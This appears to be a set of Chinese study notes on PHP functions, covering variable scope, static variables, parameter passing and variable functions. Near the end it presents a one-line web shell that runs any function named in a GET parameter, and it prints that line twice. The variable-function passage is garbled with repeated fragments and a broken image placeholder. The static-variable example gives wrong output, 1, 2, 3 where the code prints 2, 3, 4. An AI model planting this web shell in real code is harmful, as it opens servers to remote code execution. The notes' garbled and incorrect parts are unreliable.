PHP函数
结构
function 函数名(形参){
代码块;
return;
}
- 函数调用时,实参按顺序传递给形参
- 函数调用时,相互对立,默认没有联系
- 执行完毕后,返回调用位置,继续向下执行
- 函数默认返回NULL
变量范围
局部变量
函数内定义的变量
变量的作用范围在函数内
全局变量
在函数外部定义的变量
变量的作用域为整个PHP脚本
函数使用全局变量:
-
传参
-
声明变量为global
$a = 1; function test(){ echo $a; //报错 global $a; echo $a; //1 }
静态变量
在函数中定义
用static修饰符修饰
仅在函数初次执行时被触发
function test(){
static $a = 1;
echo ++$a;
}
test(); //1
test(); //2
test(); //3
传参
按值传参
- 默认方式
- 对形参的操作不影响实参
引用传参
- 引用参数时加&
- 相当于给变量起别名,形参改变实参也改变
默认传参
- 定义函数时给形参设置默认值
- 没有传参时,形参为默认值
可变函数参数列表
- func_get_arg(); //根据参数偏移量,从零开始获取参数
- func_get_args(); //返回一个包含函数参数列表的数组
- func_num_args(); //获取参数传入个数
function test(){
echo func_get_arg(1);
echo "<hr />";
$num = func_num_args();
echo $num;
echo "<hr />";
$list = func_get_args();
for($i = 0; $i < $num; $i++){
echo $list[$i];
}
}
test(1,2,3,4,5,6);
可变函数
函数名为变量, a ( a( a(b),函数名为$a
将另一函数的函数名赋值给 a 时 , 如 a时,如 a时,如a=“函数XX”,则$a等同于函数xx
利用可变函数可以写出一句话木马:
$_GET["a"]($_GET["b"]);
数xx
利用可变函数可以写出一句话木马:
$_GET["a"]($_GET["b"]);
[外链图片转存中…(img-W4Jfnun8-1626687193768)]